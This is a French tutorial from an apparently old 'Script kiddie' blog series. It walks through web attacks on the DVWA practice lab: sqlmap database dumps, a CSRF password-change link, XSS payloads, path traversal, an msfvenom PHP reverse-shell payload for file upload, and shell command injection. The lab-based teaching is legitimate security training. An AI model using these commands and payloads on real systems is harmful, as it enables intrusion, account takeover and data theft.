NOTE Post Réécriture : Cet article, et bien dâautres, fait parti de la sĂ©rie âScript kiddieâ. Il a Ă©tĂ© Ă©crit il y a plusieurs annĂ©es. Son contenu nâest pas Ă jour et il contient potentiellement des erreurs. Plus dâinformation sur la page de prĂ©sentation de la sĂ©rie.
Puisque la pratique permet toujours un meilleur apprentissage, je vous propose de vous exercer Ă lâaide dâun site internet. Nous allons, ici, utiliser DVWA, mais dâautres alternatives existent.
Installez dâabord le serveur web XAMPP pour avoir tous les services web prĂ©installĂ©s. Nâoubliez pas en lançant le service web de tuer les autres qui peuvent dĂ©jĂ ĂȘtre en fonction.
Puis, aller télécharger les fichiers à cette adresse : https://dvwa.co.uk/
Une fois cela fait, extrayez lâarchive et copiez-la sur la racine du serveur web :
unzip DVWA-master.zip
mv DVWA-master /opt/lampp/htdocs/dvwa
Il va falloir configurer le logiciel, utilisez votre éditeur dans le fichier config.inc.php :
cd /opt/lampp/htdocs/dvwa/config
nano config.inc.php
Repérer les lignes suivantes dans le fichier :
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_port'] = '3306';
Modifiez les lignes « db_user » et « db_password » pour obtenir ceci :
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '';
Sauvegardez le fichier de configuration et rendez-vous ensuite sur le site suivant : http://localhost/dvwa.
Naviguez jusquâau bas de la page et appuyez sur le bouton « Create / Reset Database ». Le site devrait vous demander des identifiants. Rentrez « admin » pour le nom dâutilisateur et « password » pour le mot de passe. Une fois la page dâaccueil ouverte, allez dans lâonglet « DVWA Security » et mettez la à « Low » pour commencer.
Maintenant que votre laboratoire est créé, il est lâheure de commencer :)
Injection SQL
Les injections SQL sont un mode dâattaque Web qui vide Ă rĂ©cupĂ©rer les informations dâune base de donnĂ©es ne nous appartenant pas. Si certains Hackers prĂ©fĂšrent les faire Ă la main, nous nous contenterons de voir le rĂ©sultat automatisĂ© avec sqlmap.
Les deux premiĂšres parties seront un rĂ©capitulatif du fonctionnement dâun serveur Web ainsi que la maniĂšre dont se dĂ©roulera le TP (il faut bien sâentraĂźner).
Fonctionnement dâun serveur Web
Les serveurs Web gÚrent deux plans de travail, le cÎté client et le cÎté serveur. Les deux peuvent posséder de lourdes failles, mais ici, seul le cÎté serveur va nous intéresser.
Quand vous effectuez une requĂȘte sur un site, celui-ci utilise plusieurs langages de programmation :
- HTML, le langage informatique (et non de programmation) qui va dĂ©crire les Ă©lĂ©ments prĂ©sents sur la page. Câest lui qui va permettre dâafficher des paragraphes ou des tableaux.
- CSS, autre langage informatique qui gÚre la mise en page. Il va donner le style des éléments présents, leur position ainsi que des animations.
- JavaScript, Ă ne pas confondre avec Java, il permet la gestion de code cĂŽtĂ© client. Pratique pour faire des animations plus puissantes, bien que le langage se soit complexifiĂ© avec des extensions comme React ou Node, il reste tout de mĂȘme beaucoup plus utilisĂ© pour la gestion du DOM (document object model)
- PHP, il sâagit du langage cĂŽtĂ© serveur le plus utilisĂ©, bien quâil ne soit pas apprĂ©ciĂ© par les nouvelles gĂ©nĂ©rations de dĂ©veloppeurs. Il nâest pas trĂšs complexe, mais peut reprĂ©senter un moyen trĂšs facile dâaccĂšs Ă la machine lorsquâil est mal programmĂ©.
- SQL, le langage qui possÚde la quasi-totalité des parts de marchés chez les gestionnaires de Base de donnée. Il va faire la liaison entre un code cÎté serveur (comme PHP) et la base de donnée à laquelle il est relié.
Il existe dâautres langages, mais ceux-ci demeurent moins dĂ©mocratisĂ©s. Cependant, je vous recommande de vous intĂ©resser Ă ces nouvelles technologies car le marchĂ© pourrait Ă©voluer en leur faveur !
Ainsi, lorsque vous formulez votre demande Ă un serveur Web, si celui-ci possĂšde PHP + SQL, alors la page sera chargĂ©e Ă lâaide de PHP qui ira chercher des informations (quand il en a besoin) dans la base de donnĂ©e avec SQL.
Injection avec sqlmap
Sqlmap est un logiciel qui permet lâautomatisation des dites injections. Il va nous permettre en lâoccurrence de rĂ©cupĂ©rer le plus dâinformations que possible Ă lâintĂ©rieur des bases de donnĂ©es. Nous nous baserons dans la suite de ce tutoriel sur lâonglet « SQL Injection » de DVWA.
Pour commencer :
python3 sqlmap.py -u http://localhost/index.php?id=4 --dbs
Cette commande va nous permettre de lister les bases présentes sur le serveur.
Quelques petites explications sâimposent :
Le programme se lance Ă lâaide de python (jâutilise la version 3, qui est Ă ce jour la plus rĂ©cente). Le paramĂštre -u permet de rentrer une URL Ă inspecter et âdbs va ordonner Ă sqlmap de chercher les diffĂ©rentes bases de donnĂ©es.
Vous pouvez voir quâĂ lâintĂ©rieur de lâURL, un paramĂštre PHP est donnĂ© (id). Ici, on lui assigne la valeur 4 mais ceci a peu dâimportance. En revanche, vous allez ĂȘtre obligĂ© de spĂ©cifier un paramĂštre dâURL que vous pensez ĂȘtre une faiblesse.
Comment savoir sâil y a une faille ? Rien de plus simple, est ce que quand vous modifier la valeur associer Ă ce paramĂštre dans lâURL, la page se trouve ĂȘtre changer ? Si câest le cas, il y a de forte chance pour que la page face une requĂȘte SQL Ă lâaide de cette valeur (ou alors la page est changĂ©e avec une condition PHP).
Eh bien, il va falloir spĂ©cifier ce que vous pensez dĂ©faillants. Sâil y en a plusieurs, sĂ©parez les dâun & comme dans les URLâŠ
sqlmap devrait vous demander des informations supplémentaires au cours de son exécution, à vous de juger ce qui vous semble bon pour continuer :)
Ceci devrait renvoyer le nom des différentes bases :
available databases [12]:
[*] baseTweet
[*] chat
[*] hidden
[*] humanite
[*] information_schema
[*] injection_db
[*] mysql
[*] opentube
[*] parmisnous
[*] performance_schema
[*] phpmyadmin
[*] test
Jâutilise quotidiennement mon serveur, donc rien dâĂ©tonnant Ă voir plus de bases de mon cĂŽtĂ©âŠ
AprÚs avoir obtenu le nom des différentes bases, il nous faut lister les différentes tables.
Sur MySQL, les tables sont des tableaux oĂč sont regroupĂ©es les informations. Une base peut avoir plusieurs tables.
Lister les tables :
python3 sqlmap.py -u http://localhost/index.php?id=4 -D injection_db --tables
-D va permettre de dire dans quelle base regarder et --tables va spĂ©cifier que lâon souhaite obtenir les tables de cette base.
On obtient donc :
[1 table]
+--------------+
| user_details |
+--------------+
Ce qui veut dire que dans ma base injejection_db se trouve la table user_details.
On va dÚs à présent lister les colonnes présentes sur la table :
python3 sqlmap.py -u http://localhost/index.php?id=4 -T user_details --columns
-T dit que lâon cherche dans une table (ici user_details) et --columns spĂ©cifie que lâon veut rĂ©cupĂ©rer les colonnes.
Les colonnes sont les diffĂ©rentes catĂ©gories de votre table et vont ici nous permettre de savoir quels genres dâinformations sont stockĂ©es.
Vous devriez obtenir ceci :
Database: injection_db
Table: user_details
[7 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| first_name | varchar(50) |
| gender | varchar(10) |
| last_name | varchar(50) |
| password | varchar(50) |
| status | tinyint(10) |
| user_id | int(11) |
| username | varchar(255) |
+------------+--------------+
On connaßt dÚs à présent les différents types des différentes colonnes.
Explications :
- varchar : il sâagit dâune chaĂźne de caractĂšre limiter en taille entre 1 et 255
- int : ce sont les nombres
- tinyint : des nombres mais plus petits en tailles. Attention, il ne faut pas confondre taille et grandeur du nombre. La taille signifie le nombre de caractĂšres de long quâil fait et la grandeur reprĂ©sente sa distance par apport Ă zĂ©ro.
- Text : Un texte pouvant ĂȘtre infini (tout de mĂȘme limiter par le stockage de la machine, mais on reste assez large)
Cela peut paraĂźtre inutile, mais elles permettent dâavoir plus dâinformations sur lâĂ©volution que peut avoir la base. Vient ensuite le moment le plus intĂ©ressant, lister le contenu de la table :
python3 sqlmap.py -u http://localhost/index.php?id=4 -T user_details --dump
Il sâagit de la mĂȘme commande que la prĂ©cĂ©dente,
il faut juste remplacer --columns par --dump qui veut dire que lâon souhaite rĂ©cupĂ©rer le contenu.
On peut ensuite se balader librement dans les données :
+---------+--------+--------+----------------------------------+---------------+-------------+-------------+
| user_id | gender | status | password | username | last_name | first_name |
+---------+--------+--------+----------------------------------+---------------+-------------+-------------+
| 1 | Female | 1 | e6a33eee180b07e563d74fee8c2c66b8 | rogers63 | john | david |
| 2 | Male | 1 | 2e7dc6b8a1598f4f75c3eaa47958ee2f | mike28 | paul | rogers |
| 3 | Male | 1 | 1c3a8e03f448d211904161a6f5849b68 | rivera92 | john | david |
| 4 | Male | 1 | 62f0a68a4179c5cdd997189760cbcf18 | ross95 | sanders | maria |
| 5 | Female | 1 | 61bd060b07bddfecccea56a82b850ecf | paul85 | miller | morris |
| 6 | Female | 1 | 7055b3d9f5cb2829c26cd7e0e601cde5 | smith34 | michael | daniel |
| 7 | Female | 1 | b7f72d6eb92b45458020748c8d1a3573 | james84 | paul | sanders |
...
Avec la méthode POST
Il est un peu plus compliquĂ© dâinjecter avec la requĂȘte POST. En effet, il va falloir prĂ©parer un fichier comportant lâensemble des donnĂ©es qui peuvent ĂȘtre envoyĂ©es et que sqlmap va inspecter quels sont les paramĂštres injectables.
Pour ce faire, il faut juste remplir le formulaire et lâenvoyer. Inspecter lâenvoie de la requĂȘte dans lâinspecteur de Firefox (ou Chrome, Brave, Opera, etc.), dans lâonglet Network (RĂ©seau), sĂ©lectionnez lâenvoi POST qui est apparue puis afficher lâen-tĂȘte en mode texte (appuyez sur interrupteur raw Ă cĂŽtĂ© de Request Headers).
Faites un Copier coller dans un fichier texte et ajoutez-y les informations de la partie Request du sous menu de Network.
Celle-ci comprend les informations transmises avec la mĂ©thode POST. Copiez juste ce rĂ©sultat Ă lâintĂ©rieur de votre fichier texte
Une fois votre beau fichier texte prĂȘt, il est temps de le faire inspecter par sqlmap :
python3 sqlmap.py -r ~/postrequest.txt -p name
-r sert Ă rentrer le chemin vers votre fichier et -p dĂ©crit le ou les paramĂštres que vous pensez ĂȘtre vulnĂ©rables.
Sqlmap va donc tenter de trouver des failles quâil vous renverra. Il les exploitera plus tard ou vous les offre pour que vous puissiez le faire manuellement.
On va ensuite se servir des vulnérabilités trouvées pour dire à sqlmap de les utiliser afin de retrouver la base de données :
python3 sqlmap.py -r ~/postrequest.txt --dbms mysql --current-db
--dbms nous permet de spécifier quel logiciel de bases de donnée est utilisé,
cela va nous permettre de gagner du temps.
Pour le trouver, la commande précédente vous la normalement donnée :
[INFO] the back-end DBMS is MySQL
--current-db ordonne à sqlmap de chercher la base de donnée auquel
le paramÚtre que nous avons donné précédemment est envoyé.
Elle nous est donnée ici :
current database: 'injection_db'
Le reste des commandes ne requiert pas plus dâexplications. Il sâagit des mĂȘmes quâavec la mĂ©thode GET :
Récupérer les tables :
python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -D injection_db --tables
Pour les colonnes :
python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -T user_details --columns
Et enfin, les données :
python3 sqlmap.py -r ~/postrequest.txt --dbms mysql -T user_details --dump
Maintenant que vous savez utiliser sqlmap, je vous conseille de vous orienter vers une reprĂ©sentation concrĂšte de lâattaque dans le chapitre sur le langage SQL.
Cross Site Request Forgery (CSRF)
Lâattaque CSRF est trĂšs particuliĂšre tout simplement car elle rĂ©vĂšle tout le cĂŽtĂ© social du hacker. En effet, avec la CSRF, il sâagit plus dâun jeu de manipulation que dâun vĂ©ritable coup de gĂ©nie.
Cette attaque consiste Ă fabriquer une URL exĂ©cutant une action sur la machine de la victime. Un exemple rapide et pas trĂšs dangereux pour comprendre, il existe une URL sur Google permettant de changer la langue de lâutilisateur. Ceci ne reprĂ©sente en rien un problĂšme de sĂ©curitĂ©, mais vous pouvez parfaitement changer la langue du moteur de recherche de quelquâun en lui envoyant ce lien (rien de risquĂ©, vous pouvez essayer) :
https://www.google.com/setprefs?sig=0_MpQ70NiX5Czvd-pT3S1Ts1HBr9g%3D&hl=ru&source=homepage&sa=X&ved=0ahUKEwjdleK7k_nyAhWvz4UKHYi8Ak0Q2ZgBCA4
Lâexemple de DVWA est trĂšs pratique puisquâil met en Ă©vidence une faille trĂšs importante : lâURL a la possibilitĂ© de modifier le mot de passe dâun utilisateur.
NOTE : Les mots de passe que vous allez changer sur la page se feront avec lâidentifiant admin. Vous ĂȘtes en train de modifier le mot de passe de la page dâaccueil de DVWA.
Si on essaye de changer le mot de passe par 1234, notre URL est changée en :
http://localhost/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change
Appuyez sur le bouton « Test Credentials » pour essayer votre nouveau mot de passe avec lâidentifiant admin. Normalement, cela devrait vous signaler un succĂšs.
Reprenons lâURL de tout Ă lâheure et modifions-la un peu :
http://localhost/dvwa/vulnerabilities/csrf/?password_new=ent&password_conf=ent&Change=Change
Cette fois-ci, le mot de passe nâest plus 1234 mais « ent ». Nous nâavons pas rentrĂ© le mot de passe dans le champ prĂ©vu Ă cet effet sur la page, et lâavons directement fait dans lâURL. Si nous essayons de nous reconnecter sur la page « Test Credentials », rien Ă signaler, le mot de passe est bien « ent ».
LâURL a donc le pouvoir de modifier mon mot de passe en « ent » pour peu que je la rentre dans mon navigateur. Imaginez maintenant que vous ĂȘtes un utilisateur lambda dâun forum et que vous souhaitiez gagner lâaccĂšs au compte dâun modĂ©rateur. Si le mĂ©canisme pour se connecter et le mĂȘme, vous nâavez quâĂ lui envoyer le lien permettant de modifier le mot de passe pour ensuite accĂ©der Ă son compte.
Cette attaque est juste parfaite quand elle est couplĂ©e avec la suivanteâŠ
Cross Site Scripting (XSS)
Lâattaque XSS, pour Cross site scripting (on met XSS et non CSS, car CSS est langage informatique servant Ă styliser les pages web), est une attaque qui vient impacter le client des victimes. Avec cette mĂ©thode, on va dĂ©couvrir comment envoyer du code JavaScript au serveur pour quâil puisse lâexĂ©cuter malicieusement sur le client de nos victimes.
Afin de commencer en douceur, prenez lâonglet « XSS (Reflected) » de DVWA. La page affiche alors un champ de texte oĂč vous pouvez rentrer votre nom. TrĂšs vite aprĂšs lâavoir fait, on remarque que lâURL est agrĂ©mentĂ©e dâune variable contenant le texte rentré : http://localhost/dvwa/vulnerabilities/xss_r/?name=bob
Notre cerveau de professionnel de la sĂ©curitĂ© (je nâen doute pas) voit tout de suite quâil y a une injection Ă faire. Si vous ne trouvez pas tout de suite la faille, ce nâest pas grave, la plus grande partie de votre temps sera plus tard de toutes façons mobilisĂ©e Ă chercher ces nombreuses failles et Ă essayer de les exploiter. Ici, on peut se dire que le code vient tout simplement coller le contenu de la variable sur la page. Pour vĂ©rifier notre hypothĂšse, essayons de modifier la requĂȘte :
http://localhost/dvwa/vulnerabilities/xss_r/?name=<i>bob</i>
On remarque que les balises <i></i> (qui servent à mettre un texte en italique) sont collés avec le texte,
ce qui produit un nom en italique cÎté client. Si mettre du texte en italique lorsque vous voulez
écrire votre prénom peut amuser la galerie cinq minutes,
je conçois que vous puissiez ĂȘtre intĂ©ressĂ© par quelque chose de plus grandiose.
Commençons donc à écrire un script :
<script>alert("Vulnérabilité XSS détectée !");</script>
Collons de suite cette ligne Ă notre URLÂ :
http://localhost/dvwa/vulnerabilities/xss_r/?name=bob<script>alert("Vulnérabilité XSS détectée !");</script>
Vous pouvez voir quâune boĂźte de dialogue apparaĂźt sur la page. GrĂące Ă lâexĂ©cution de JavaScript, les possibilitĂ©s de lâattaque XSS deviennent immenses. En plus des poncifs habituels (vol de cookie, vol dâidentifiant), vous avez la possibilitĂ© de casser des sites avec une simplicitĂ©âŠ
De plus, rappelez-vous ce que je vous ai dit dans la partie prĂ©cĂ©dente sur la CSRF, lâattaque XSS va nous ĂȘtre utile. En effet, tout le cĂŽtĂ© ingĂ©nierie sociale qui rendait cette attaque compliquĂ©e (envoyer un lien est parfois trĂšs risquĂ©) est ici annulĂ©e puisque vous avez la possibilitĂ© dâeffectuer votre requĂȘte directement avec JavaScript. Par exemple, avec la vulnĂ©rabilitĂ© de DVWA, il nây aurait quâĂ taper cette ligne de code suivante :
<script>
    location.href = "http://localhost/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change";
</script>
Cependant, vos attaques XSS ne sont pas encore trĂšs performantes. Vous devez toujours envoyer lâURL Ă quelquâun pour que son navigateur exĂ©cute le code malicieux. Jetons un Ćil sur lâonglet « XSS (stored) » de DVWA. En face de vous se trouve maintenant une page avec deux champs de texte, ressemblant Ă sây mĂ©prendre Ă un espace commentaire.
Ici, le principe reste le mĂȘme que prĂ©cĂ©demment, mais Ă la place de modifier lâURL, vous allez devoir rentrer votre code dans le champ de texte. Cette mĂ©thode est beaucoup plus pratique, car une fois le message postĂ©, lâensemble des personnes visitant la page exĂ©cuteront votre code, plus besoin de leur envoyer une obscure missive donc !
Pour ce qui concerne la partie « XSS (DOM) », celle-ci est un peu plus complexe car nĂ©cessitant des connaissances en JavaScript un peu plus poussĂ©es, je ne lâaborderai donc pas ici afin de ne pas vous perdreâŠ
Autres types dâexploitation
Directory Traversal (File Inclusion)
Cette partie se fera sur lâonglet « File Inclusion » de DVWA. Tout de suite, vous remarquerez que lâURL prĂ©sente une petite spĂ©cificitĂ©, le nom du fichier est passĂ© dans une variable PHP : http://localhost/dvwa/vulnerabilities/fi/?page=include.php. Si lâon clique sur le bouton File1, lâURL se transforme mai garde toujours un nom de fichier en paramĂštre : http://localhost/dvwa/vulnerabilities/fi/?page=file1.php.
Quelle conclusion peut-on en tirer ? Que le nom du fichier qui sera ouvert est passĂ© en variable dans lâURL (ici, page). Donc si lâon modifie ceci pour mettre un chemin de fichier pointant vers un fichier externe au dossier, celui-ci, si la faille est prĂ©sente, devrait bien sâouvrir et lire le contenu. Essayons de rentrer le chemin relatif de la page dâaccueil de DVWA pour lâafficher :
http://localhost/dvwa/vulnerabilities/fi/?page=../../index.php
On rappelle la diffĂ©rence entre chemin relatif et absolu : le chemin absolu est un lien ne changeant pas peu importe le dossier dans lequel vous vous trouvez ; le chemin relatif dĂ©pend de lâendroit oĂč vous vous trouvez sur votre pc.
Pour rappelle sur Linux :
./=> Ce dossier../=> Dossier parent~=> Dossier personnel
Donc si lâon veut rĂ©cupĂ©rer le contenu de la page dâaccueil de DVWA,
qui se situe dans le dossier parent au dossier parent de la page dans laquelle nous nous trouvons.
Câest le chemin ../../index.php qui nous permet dây accĂ©der.
Ce faisant, vous pouvez accĂ©der Ă nâimporte quelles ressources du serveur Web,
mĂȘme celles qui sont dâhabitude fermĂ©es aux utilisateurs lambda.
Téléversement de fichier
Lâonglet File Upload de DVWA vous permet de tĂ©lĂ©verser un fichier. Le problĂšme Ă©tant ici quâaucune vĂ©rification nâest effectuĂ©e sur ledit fichier. Ainsi, Ă la place dâune photo, rien ne vous empĂȘche de fabriquer un trojan avec Metasploit et de le tĂ©lĂ©verser :
msfvenom -p php/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -o payload.php
Injection de commande
Il existe une fonction en PHP nommĂ©e shell_exex() qui permet au code dâexĂ©cuter une commande sur le serveur directement. Elle peut sâavĂ©rer trĂšs pratique pour certaines actions et rend bien service aux dĂ©veloppeurs , mais elle vient avec son lot de failles. Que se passerait-il si quelquâun arrivait Ă utiliser cette fonction et pouvait exĂ©cuter du code sur notre serveur ?
Si on jette un rapide coup dâĆil au code de la page, on remarque tout de suite la faille qui devra ĂȘtre exploitĂ©e :
$cmd = shell_exec( 'ping  -c 4 ' . $target );
Vous lâavez ? Si ce nâest pas le cas, je vous ferais remarquer que $target ne subit aucune vĂ©rification est que la variable est ajoutĂ©e directement Ă la fin de la commande. Quelle conclusion en tirer ? Il est trĂšs facile dâinjecter nâimporte quelle commande sur la machine.
Rappelez-vous, pour signaler la fin dâune commande sur Linux, on met un ; Ă la fin :
mkdir build ; cd build
ou alors un && pour enchaßner sur une autre commande :
mkdir build && cd build
Ces deux lignes sont exactement les mĂȘmes (crĂ©er un dossier « build » et y aller).
Mais reprenons notre exemple, lorsque lâon rentre une IP, voilĂ Ă quoi ressemble notre commande :
ping -c 4 $target
Par exemple, avec lâIP 127.0.0.1Â :
ping -c 4 127.0.0.1
On voit que $target vient prendre la valeur de ce que nous rentrons, mais le code ne possĂ©dant pas de vĂ©rification, sommes-nous obligĂ©s de rentrer quâun IP ? La rĂ©ponse est bien Ă©videmment non, et câest de lĂ que provient la faille⊠Prenons un deuxiĂšme exemple, rentrez « 127.0.0.1 && ls », la commande devient :
ping -c 4 127.0.0.1 && ls
Le site nous renvoie le résultat suivant :
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.056/0.073/0.090/0.012 ms
help
index.php
source
On a bien le résultat de la commande ping :
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.056/0.073/0.090/0.012 ms
Et celui de ls :
help
index.php
source
Et ceci marche avec (presque) nâimporte quelle commande. Bien sĂ»r, lâintĂ©rĂȘt nâest pas trĂšs grand si câest pour lister le contenu du dossier dans lequel vous vous trouvez. Mais imaginez si vous aviez le moyen dâexĂ©cuter une commande permettant le contrĂŽle total de la session⊠Câest ce que vous avez vu dans le tutoriel sur Metasploit !
Pour lâheure, essayez de bien comprendre ce que vous venez de lire. Essayez plusieurs commandes sur DVWA, et si vous vous sentez prĂȘt, passez au niveau supĂ©rieur en changeant les paramĂštres dans lâonglet « DVWA security ». Je recommande un bon niveau en Linux pour continuer cependant.